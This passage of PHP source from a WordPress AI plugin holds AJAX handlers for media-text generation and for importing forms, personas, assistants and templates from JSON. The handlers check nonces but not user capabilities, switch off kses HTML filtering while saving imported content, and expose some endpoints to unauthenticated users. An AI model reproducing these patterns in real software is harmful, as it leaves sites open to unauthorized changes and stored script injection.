$prompt); } $prompt = aiomatic_replaceSynergyShortcodes($prompt); $query_token_count = count(aiomatic_encode($prompt)); $max_tokens = aiomatic_get_max_tokens($model); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $aicontent = aiomatic_substr($prompt, 0, $string_len); $aicontent = trim($aicontent); if(empty($aicontent)) { wp_send_json_error( array( 'message' => 'Incorrect prompt provided!' ) ); exit; } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'singleMediaWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { wp_send_json_error( array( 'message' => 'Failed to generate AI content: ' . $aierror) ); exit; } else { $new_post_content = aiomatic_sanitize_ai_result($generated_text); } wp_send_json_success( array( 'content' => $new_post_content ) ); exit; } add_action('wp_ajax_aiomatic_save_media_text', 'aiomatic_save_media_text'); function aiomatic_save_media_text() { check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['title'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (title)' . print_r($_POST, true) ) ); exit; } $title = sanitize_text_field($_POST['title']); if(!isset($_POST['caption'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (caption)' . print_r($_POST, true) ) ); exit; } $caption = sanitize_text_field($_POST['caption']); if(!isset($_POST['alt'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (alt)' . print_r($_POST, true) ) ); exit; } $alt = sanitize_text_field($_POST['alt']); if(!isset($_POST['content'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (content)' . print_r($_POST, true) ) ); exit; } $content = sanitize_text_field($_POST['content']); if(!isset($_POST['id']) || !is_numeric($_POST['id'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (id)' . print_r($_POST, true) ) ); exit; } $id = sanitize_text_field($_POST['id']); $attachment_data = array( 'ID' => $id, 'post_title' => $title, 'post_excerpt' => $caption, 'post_content' => $content ); $result = wp_update_post($attachment_data); if (is_wp_error($result)) { wp_send_json_error( array( 'message' => 'Failed to save media: ' . $result->get_error_message()) ); exit; } else { update_post_meta($id, '_wp_attachment_image_alt', $alt); $new_post_content = 'ok'; } wp_send_json_success( array( 'content' => $new_post_content ) ); exit; } add_action('wp_ajax_aiomatic_get_elevenlabs_voices', 'aiomatic_update_elevenlabs_voices_func'); add_action('wp_ajax_nopriv_aiomatic_get_elevenlabs_voices', 'aiomatic_update_elevenlabs_voices_func'); function aiomatic_update_elevenlabs_voices_func() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong EleventLabs'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['elevenlabs_app_id']) || trim($aiomatic_Main_Settings['elevenlabs_app_id']) == '') { $aiomatic_result['msg'] = 'You need to enter an ElevenLabs API key for this to work!'; wp_send_json($aiomatic_result); } $my_voices = aiomatic_update_elevenlabs_voices(); if(is_array($my_voices)) { update_option('aiomatic_elevenlabs', $my_voices); $aiomatic_result['status'] = 'success'; } else { $aiomatic_result['msg'] = 'Failed to list ElevenLabs Voices!'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_google_voices', 'aiomatic_update_google_voices_func'); add_action('wp_ajax_nopriv_aiomatic_get_google_voices', 'aiomatic_update_google_voices_func'); function aiomatic_update_google_voices_func() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong Google Voice Function'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (!isset($aiomatic_Main_Settings['google_app_id']) || trim($aiomatic_Main_Settings['google_app_id']) == '') { $aiomatic_result['msg'] = 'You need to enter an Google Text-to-Speech API key for this to work!'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Chatbot_Settings['voice_language']) && trim($aiomatic_Chatbot_Settings['voice_language']) != '') { $voice_language = trim($aiomatic_Chatbot_Settings['voice_language']); } else { $voice_language = 'en-US'; } $my_voices = aiomatic_update_google_voices($voice_language); if(is_array($my_voices)) { update_option('aiomatic_google_voices' . sanitize_title($voice_language), $my_voices); $aiomatic_result['status'] = 'success'; } else { $aiomatic_result['msg'] = 'Failed to list Google Text-to-Speech Voices!'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_form_upload', 'aiomatic_form_upload'); function aiomatic_form_upload() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with form upload'); if(isset($_FILES['file']) && empty($_FILES['file']['error'])) { $file_name = sanitize_file_name(basename($_FILES['file']['name'])); $filetype = wp_check_filetype($file_name); if($filetype['ext'] !== 'json' && !aiomatic_endsWith($file_name, '.json')){ $aiomatic_result['msg'] = 'Only files with the json extension are supported, you sent: ' . $file_name; wp_send_json($aiomatic_result); } global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $fc = $wp_filesystem->get_contents($_FILES['file']['tmp_name']); if(empty($fc)) { $aiomatic_result['msg'] = 'Failed to read file: ' . $_FILES['file']['tmp_name']; wp_send_json($aiomatic_result); } $fc_dec = json_decode($fc, true); if($fc_dec === null) { $aiomatic_result['msg'] = 'Failed to decode json file: ' . $_FILES['file']['tmp_name']; wp_send_json($aiomatic_result); } if(isset($_POST['overwrite'])) { $overwrite = $_POST['overwrite']; } else { $overwrite = '0'; } foreach($fc_dec as $jsonf) { $address_post_id = 0; $query = new WP_Query( array( 'post_type' => 'aiomatic_forms', 'title' => $jsonf['title'], 'post_status' => 'all', 'posts_per_page' => 1, 'no_found_rows' => true, 'ignore_sticky_posts' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $query->post ) ) { if($overwrite != '1') { //form already exists, skipping it continue; } else { while ( $query->have_posts() ) { $query->the_post(); $address_post_id = get_the_ID(); break; } } } $forms_data = array( 'post_type' => 'aiomatic_forms', 'post_title' => $jsonf['title'], 'post_content' => $jsonf['description'], 'post_status' => 'publish' ); $forms_data['ID'] = $address_post_id; remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); if($overwrite != '1') { $forms_id = wp_insert_post($forms_data); } else { if(isset($forms_data['ID']) && $forms_data['ID'] != '0') { $forms_id = wp_update_post($forms_data); } else { $forms_id = wp_insert_post($forms_data); } } add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($forms_id)) { aiomatic_log_to_file('Failed to import form: ' . $forms_id->get_error_message()); } elseif($forms_id === 0) { aiomatic_log_to_file('Failed to insert form to database: ' . print_r($forms_data, true)); } else { update_post_meta($forms_id, 'prompt', $jsonf['prompt']); if(isset($jsonf['assistant_id'])) { update_post_meta($forms_id, 'assistant_id', $jsonf['assistant_id']); } update_post_meta($forms_id, 'model', $jsonf['model']); update_post_meta($forms_id, 'header', $jsonf['header']); if(!isset($jsonf['editor'])) { $jsonf['editor'] = 'textarea'; } update_post_meta($forms_id, 'editor', $jsonf['editor']); if(!isset($jsonf['advanced'])) { $jsonf['advanced'] = 'hide'; } update_post_meta($forms_id, 'advanced', $jsonf['advanced']); update_post_meta($forms_id, 'submit', $jsonf['submit']); update_post_meta($forms_id, 'max', $jsonf['max']); update_post_meta($forms_id, 'temperature', $jsonf['temperature']); update_post_meta($forms_id, 'topp', $jsonf['topp']); update_post_meta($forms_id, 'presence', $jsonf['presence']); update_post_meta($forms_id, 'frequency', $jsonf['frequency']); update_post_meta($forms_id, 'response', $jsonf['response']); if(isset($jsonf['streaming_enabled'])) { update_post_meta($forms_id, 'streaming_enabled', $jsonf['streaming_enabled']); } else { update_post_meta($forms_id, 'streaming_enabled', '0'); } update_post_meta($forms_id, 'type', $jsonf['type']); update_post_meta($forms_id, '_aiomaticfields', $jsonf['aiomaticfields']); } } $aiomatic_result['status'] = 'success'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_persona_upload', 'aiomatic_persona_upload'); function aiomatic_persona_upload() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with persona upload'); if(isset($_FILES['file']) && empty($_FILES['file']['error'])) { $file_name = sanitize_file_name(basename($_FILES['file']['name'])); $filetype = wp_check_filetype($file_name); if($filetype['ext'] !== 'json' && !aiomatic_endsWith($file_name, '.json')){ $aiomatic_result['msg'] = 'Only files with the json extension are supported, you sent: ' . $file_name; wp_send_json($aiomatic_result); } global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $fc = $wp_filesystem->get_contents($_FILES['file']['tmp_name']); if(empty($fc)) { $aiomatic_result['msg'] = 'Failed to read file: ' . $_FILES['file']['tmp_name']; wp_send_json($aiomatic_result); } $fc_dec = json_decode($fc, true); if($fc_dec === null) { $aiomatic_result['msg'] = 'Failed to decode json file: ' . $_FILES['file']['tmp_name']; wp_send_json($aiomatic_result); } if(isset($_POST['overwrite'])) { $overwrite = $_POST['overwrite']; } else { $overwrite = '0'; } foreach($fc_dec as $jsonf) { $address_post_id = 0; $query = new WP_Query( array( 'post_type' => 'aiomatic_personas', 'title' => $jsonf['name'], 'post_status' => 'all', 'posts_per_page' => 1, 'no_found_rows' => true, 'ignore_sticky_posts' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $query->post ) ) { if($overwrite != '1') { //persona already exists, skipping it continue; } else { while ( $query->have_posts() ) { $query->the_post(); $address_post_id = get_the_ID(); break; } } } $personas_data = array( 'post_type' => 'aiomatic_personas', 'post_title' => $jsonf['name'], 'post_excerpt' => $jsonf['role'], 'post_content' => $jsonf['prompt'], 'post_status' => 'publish' ); $personas_data['ID'] = $address_post_id; remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); if($overwrite != '1') { $personas_id = wp_insert_post($personas_data); } else { if(isset($personas_data['ID']) && $personas_data['ID'] != '0') { $personas_id = wp_update_post($personas_data); } else { $personas_id = wp_insert_post($personas_data); } } add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($personas_id)) { aiomatic_log_to_file('Failed to import persona: ' . $personas_id->get_error_message()); } elseif($personas_id === 0) { aiomatic_log_to_file('Failed to insert persona to database: ' . print_r($personas_data, true)); } else { if(is_numeric($jsonf['avatar'])) { if($jsonf['avatar'] > 0) { require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); set_post_thumbnail( $personas_id, $jsonf['avatar'] ); } } elseif(filter_var($jsonf['avatar'], FILTER_VALIDATE_URL)) { if (!aiomatic_generate_featured_image($jsonf['avatar'], $personas_id)) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('aiomatic_generate_featured_image failed for ' . $jsonf['avatar']); } } } if(isset($jsonf['message']) && !empty($jsonf['message'])) { update_post_meta($personas_id, '_persona_first_message', $jsonf['message']); } } } $aiomatic_result['status'] = 'success'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_assistant_upload', 'aiomatic_assistant_upload'); function aiomatic_assistant_upload() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with assistant upload'); if(isset($_FILES['file']) && empty($_FILES['file']['error'])) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to add an API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } if(aiomatic_is_aiomaticapi_key($token)) { $aiomatic_result['msg'] = 'Currently only OpenAI API is supported for text moderation.'; wp_send_json($aiomatic_result); } } $file_name = sanitize_file_name(basename($_FILES['file']['name'])); $filetype = wp_check_filetype($file_name); if($filetype['ext'] !== 'json' && !aiomatic_endsWith($file_name, '.json')){ $aiomatic_result['msg'] = 'Only files with the json extension are supported, you sent: ' . $file_name; wp_send_json($aiomatic_result); } global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $fc = $wp_filesystem->get_contents($_FILES['file']['tmp_name']); if(empty($fc)) { $aiomatic_result['msg'] = 'Failed to read file: ' . $_FILES['file']['tmp_name']; wp_send_json($aiomatic_result); } $fc_dec = json_decode($fc, true); if($fc_dec === null) { $aiomatic_result['msg'] = 'Failed to decode json file: ' . $_FILES['file']['tmp_name']; wp_send_json($aiomatic_result); } if(isset($_POST['overwrite'])) { $overwrite = $_POST['overwrite']; } else { $overwrite = '0'; } require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); foreach($fc_dec as $jsonf) { $vector_store_id = ''; if(empty($jsonf['role'])) { $jsonf['role'] = ''; } if(empty($jsonf['prompt'])) { $jsonf['prompt'] = ''; } if(empty($jsonf['message'])) { $jsonf['message'] = ''; } $existing_openai = false; $address_post_id = 0; $assistant_id = ''; $temperature = ''; $topp = ''; if(isset($jsonf['temperature'])) { $temperature = $jsonf['temperature']; } if(isset($jsonf['topp'])) { $topp = $jsonf['topp']; } if(isset($jsonf['id']) && !empty($jsonf['id'])) { $query = new WP_Query( array( 'post_type' => 'aiomatic_assistants', 'meta_query' => array( array( 'key' => '_assistant_id', 'value' => $jsonf['id'], 'compare' => 'EXISTS' ), ), 'post_status' => 'all', 'posts_per_page' => 1, 'no_found_rows' => true, 'ignore_sticky_posts' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $query->post ) ) { if($overwrite != '1') { //assistant already exists, skipping it continue; } else { while ( $query->have_posts() ) { $query->the_post(); $address_post_id = get_the_ID(); $assistant_id = get_post_meta($address_post_id, '_assistant_id', true); break; } } } if(!empty($assistant_id)) { try { $ex_assistant = aiomatic_openai_retrieve_assistant($token, $assistant_id); if(isset($ex_assistant['id']) && $ex_assistant['id'] == $assistant_id) { $existing_openai = true; } } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to retrieve assistant using the API ' . $e->getMessage(); wp_send_json($aiomatic_result); } } } if($existing_openai == true) { $tools = []; if($jsonf['code_interpreter'] == 'on') { $tools[] = ['type' => 'code_interpreter']; } if($jsonf['file_search'] == 'on') { $tools[] = ['type' => 'file_search']; } $functions_json = $jsonf['functions']; if($functions_json === false) { $functions = array(); } else { if(is_array($functions_json) && !isset($functions_json['name'])) { $functions = $functions_json; } elseif(isset($functions_json['name'])) { $functions = array($functions_json); } else { $functions = array(); } } foreach($functions as $func) { $tools[] = ['type' => 'function', 'function' => $func]; } try { if($address_post_id != '' && $address_post_id != 0) { $vector_store_id = get_post_meta($address_post_id, '_assistant_vector_store_id', true); } $metadata = ''; $assistantData = aiomatic_openai_modify_assistant($token, $assistant_id, $jsonf['model'], $jsonf['name'], $jsonf['role'], $jsonf['prompt'], $temperature, $topp, $tools, $jsonf['files'], $metadata, $vector_store_id, $address_post_id); if($assistantData === false) { $aiomatic_result['msg'] = 'Failed to update assistant using the API'; wp_send_json($aiomatic_result); } } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to retrieve assistant using the API ' . $e->getMessage(); wp_send_json($aiomatic_result); } } else { $tools = []; if($jsonf['code_interpreter'] == 'on') { $tools[] = ['type' => 'code_interpreter']; } if($jsonf['file_search'] == 'on') { $tools[] = ['type' => 'file_search']; } $functions_json = $jsonf['functions']; if($functions_json === false) { $functions = array(); } else { if(is_array($functions_json) && !isset($functions_json['name'])) { $functions = $functions_json; } elseif(isset($functions_json['name'])) { $functions = array($functions_json); } else { $functions = array(); } } foreach($functions as $func) { $tools[] = ['type' => 'function', 'function' => $func]; } try { $metadata = ''; $assistantData = aiomatic_openai_save_assistant( $token, $jsonf['model'], $jsonf['name'], $jsonf['role'], $temperature, $topp, $jsonf['prompt'], $tools, $jsonf['files'], $metadata, $vector_store_id ); if($assistantData === false) { $aiomatic_result['msg'] = 'Failed to save assistant using the API'; wp_send_json($aiomatic_result); } else { $assistant_id = $assistantData['id']; } } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to retrieve assistant using the API ' . $e->getMessage(); wp_send_json($aiomatic_result); } } $assistants_data = array( 'post_type' => 'aiomatic_assistants', 'post_title' => $jsonf['name'], 'post_excerpt' => $jsonf['role'], 'post_content' => $jsonf['prompt'], 'post_status' => 'publish' ); $assistants_data['ID'] = $address_post_id; remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); if($overwrite != '1') { $assistants_id_local = wp_insert_post($assistants_data); } else { if(isset($assistants_data['ID']) && $assistants_data['ID'] != '0') { $assistants_id_local = wp_update_post($assistants_data); } else { $assistants_id_local = wp_insert_post($assistants_data); } } add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($assistants_id_local)) { aiomatic_log_to_file('Failed to import assistant: ' . $assistants_id_local->get_error_message()); } elseif($assistants_id_local === 0) { aiomatic_log_to_file('Failed to insert assistant to database: ' . print_r($assistants_data, true)); } else { if(is_numeric($jsonf['avatar'])) { if($jsonf['avatar'] > 0) { require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); set_post_thumbnail( $assistants_id_local, $jsonf['avatar'] ); } } elseif(filter_var($jsonf['avatar'], FILTER_VALIDATE_URL)) { if (!aiomatic_generate_featured_image($jsonf['avatar'], $assistants_id_local)) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('aiomatic_generate_featured_image failed for ' . $jsonf['avatar']); } } } if(isset($jsonf['message']) && !empty($jsonf['message'])) { update_post_meta($assistants_id_local, '_assistant_first_message', $jsonf['message']); } else { update_post_meta($assistants_id_local, '_assistant_first_message', ''); } update_post_meta($assistants_id_local, '_assistant_id', $assistant_id); if(!empty($jsonf['model'])) { update_post_meta($assistants_id_local, '_assistant_model', $jsonf['model']); } $tools = []; if($jsonf['code_interpreter'] == 'on') { $tools[] = ['type' => 'code_interpreter']; } if($jsonf['file_search'] == 'on') { $tools[] = ['type' => 'file_search']; } $functions_json = $jsonf['functions']; if($functions_json === false) { $functions = array(); } else { if(is_array($functions_json) && !isset($functions_json['name'])) { $functions = $functions_json; } elseif(isset($functions_json['name'])) { $functions = array($functions_json); } else { $functions = array(); } } foreach($functions as $func) { $tools[] = ['type' => 'function', 'function' => $func]; } if(!empty($tools)) { update_post_meta($assistants_id_local, '_assistant_tools', $tools); } else { update_post_meta($assistants_id_local, '_assistant_tools', array()); } if(!empty($temperature)) { update_post_meta($assistants_id_local, '_assistant_temperature', $temperature); } if(!empty($topp)) { update_post_meta($assistants_id_local, '_assistant_topp', $topp); } if(!empty($vector_store_id)) { update_post_meta($assistants_id_local, '_assistant_vector_store_id', $vector_store_id); } if(!empty($jsonf['files'])) { update_post_meta($assistants_id_local, '_assistant_files', $jsonf['files']); } else { update_post_meta($assistants_id_local, '_assistant_files', array()); } } } $aiomatic_result['status'] = 'success'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_omni_upload', 'aiomatic_omni_upload'); function aiomatic_omni_upload() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with OmniBlock Template upload'); if(isset($_FILES['file']) && empty($_FILES['file']['error'])) { $file_name = sanitize_file_name(basename($_FILES['file']['name'])); $filetype = wp_check_filetype($file_name); if($filetype['ext'] !== 'json' && !aiomatic_endsWith($file_name, '.json')){ $aiomatic_result['msg'] = 'Only files with the json extension are supported, you sent: ' . $file_name; wp_send_json($aiomatic_result); } global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $fc = $wp_filesystem->get_contents($_FILES['file']['tmp_name']); if(empty($fc)) { $aiomatic_result['msg'] = 'Failed to read file: ' . $_FILES['file']['tmp_name']; wp_send_json($aiomatic_result); } $fc = aiomatic_removeBOM($fc); $fc_dec = json_decode($fc, true); if($fc_dec === null) { $aiomatic_result['msg'] = 'Failed to decode template json file: ' . $_FILES['file']['tmp_name'] . ' - ' . json_last_error_msg(); wp_send_json($aiomatic_result); } if(isset($_POST['overwrite'])) { $overwrite = $_POST['overwrite']; } else { $overwrite = '0'; } foreach($fc_dec as $jsonf) { $address_post_id = 0; if(isset($jsonf['id']) && !empty($jsonf['id'])) { $query = new WP_Query( array( 'post_type' => 'aiomatic_omni_temp', 'title' => $jsonf['name'], 'post_status' => 'all', 'posts_per_page' => 1, 'no_found_rows' => true, 'ignore_sticky_posts' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $query->post ) ) { if($overwrite != '1') { aiomatic_log_to_file('Template existing, skipping: ' . $jsonf['name']); //template already exists, skipping it continue; } else { while ( $query->have_posts() ) { $query->the_post(); $address_post_id = get_the_ID(); break; } } } } if(is_array($jsonf['json'])) { $jsonf['json'] = json_encode($jsonf['json']); } $json_me = addslashes($jsonf['json']); if($json_me === false) { $json_me = $jsonf['json']; } $omni_data = array( 'post_type' => 'aiomatic_omni_temp', 'post_title' => $jsonf['name'], 'post_content' => $json_me, 'post_status' => 'publish' ); $omni_data['ID'] = $address_post_id; remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); if($overwrite != '1') { $omni_id_local = wp_insert_post($omni_data); } else { if(isset($omni_data['ID']) && $omni_data['ID'] != '0') { $omni_id_local = wp_update_post($omni_data); } else { $omni_id_local = wp_insert_post($omni_data); } } add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($omni_id_local)) { aiomatic_log_to_file('Failed to import OmniBlock Template: ' . $omni_id_local->get_error_message()); } elseif($omni_id_local === 0) { aiomatic_log_to_file('Failed to insert OmniBlock Template to database: ' . print_r($omni_data, true)); } else { update_post_meta($omni_id_local, 'aiomatic_json', $json_me); if(isset($jsonf['category']) && !empty($jsonf['category'])) { if(!is_array($jsonf['category'])) { $terms_array = explode(';', $jsonf['category']); } else { $terms_array = $jsonf['category']; } wp_set_object_terms($omni_id_local, $terms_array, 'ai_template_categories'); } } } $aiomatic_result['status'] = 'success'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_default_form', 'aiomatic_default_form'); function aiomatic_default_form() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with default forms'); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $default_file = dirname(__FILE__) . "/defaults/form-defaults.json"; if(!$wp_filesystem->exists($default_file)) { $aiomatic_result['msg'] = 'Default form json file not found: ' . $default_file; wp_send_json($aiomatic_result); } $fc = $wp_filesystem->get_contents($default_file); if(empty($fc)) { $aiomatic_result['msg'] = 'Failed to read file: ' . $default_file; wp_send_json($aiomatic_result); } $fc_dec = json_decode($fc, true); if($fc_dec === null) { $aiomatic_result['msg'] = 'Failed to decode json file: ' . $default_file; wp_send_json($aiomatic_result); } $overwrite = '0'; foreach($fc_dec as $jsonf) { $address_post_id = 0; $query = new WP_Query( array( 'post_type' => 'aiomatic_forms', 'title' => $jsonf['title'], 'post_status' => 'all', 'posts_per_page' => 1, 'no_found_rows' => true, 'ignore_sticky_posts' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $query->post ) ) { if($overwrite != '1') { //form already exists, skipping it continue; } else { while ( $query->have_posts() ) { $query->the_post(); $address_post_id = get_the_ID(); break; } } } $forms_data = array( 'post_type' => 'aiomatic_forms', 'post_title' => $jsonf['title'], 'post_content' => $jsonf['description'], 'post_status' => 'publish' ); $forms_data['ID'] = $address_post_id; remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); if($overwrite != '1') { $forms_id = wp_insert_post($forms_data); } else { if(isset($forms_data['ID']) && $forms_data['ID'] != '0') { $forms_id = wp_update_post($forms_data); } else { $forms_id = wp_insert_post($forms_data); } } add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($forms_id)) { aiomatic_log_to_file('Failed to import form: ' . $forms_id->get_error_message()); } elseif($forms_id === 0) { aiomatic_log_to_file('Failed to insert form to database: ' . print_r($forms_data, true)); } else { update_post_meta($forms_id, 'prompt', $jsonf['prompt']); update_post_meta($forms_id, 'model', $jsonf['model']); if(isset($jsonf['assistant_id'])) { update_post_meta($forms_id, 'assistant_id', $jsonf['assistant_id']); } update_post_meta($forms_id, 'header', $jsonf['header']); if(!isset($jsonf['editor'])) { $jsonf['editor'] = 'textarea'; } update_post_meta($forms_id, 'editor', $jsonf['editor']); if(!isset($jsonf['advanced'])) { $jsonf['advanced'] = 'hide'; } update_post_meta($forms_id, 'advanced', $jsonf['advanced']); update_post_meta($forms_id, 'submit', $jsonf['submit']); update_post_meta($forms_id, 'max', $jsonf['max']); update_post_meta($forms_id, 'temperature', $jsonf['temperature']); update_post_meta($forms_id, 'topp', $jsonf['topp']); update_post_meta($forms_id, 'presence', $jsonf['presence']); update_post_meta($forms_id, 'frequency', $jsonf['frequency']); update_post_meta($forms_id, 'response', $jsonf['response']); if(isset($jsonf['streaming_enabled'])) { update_post_meta($forms_id, 'streaming_enabled', $jsonf['streaming_enabled']); } else { update_post_meta($forms_id, 'streaming_enabled', '0'); } update_post_meta($forms_id, 'type', $jsonf['type']); update_post_meta($forms_id, '_aiomaticfields', $jsonf['aiomaticfields']); } } $aiomatic_result['status'] = 'success'; wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_default_assistant', 'aiomatic_default_assistant'); function aiomatic_default_assistant() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with default assistants'); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to add an API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } if(aiomatic_is_aiomaticapi_key($token)) { $aiomatic_result['msg'] = 'Currently only OpenAI API is supported for text moderation.'; wp_send_json($aiomatic_result); } } $default_file = dirname(__FILE__) . "/defaults/assistant-defaults.json"; if(!$wp_filesystem->exists($default_file)) { $aiomatic_result['msg'] = 'Default assistant json file not found: ' . $default_file; wp_send_json($aiomatic_result); } $fc = $wp_filesystem->get_contents($default_file); if(empty($fc)) { $aiomatic_result['msg'] = 'Failed to read file: ' . $default_file; wp_send_json($aiomatic_result); } $fc_dec = json_decode($fc, true); if($fc_dec === false || $fc_dec === null) { $aiomatic_result['msg'] = 'Failed to decode json file: ' . $default_file; wp_send_json($aiomatic_result); } $overwrite = '0'; require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); foreach($fc_dec as $jsonf) { $vector_store_id = ''; 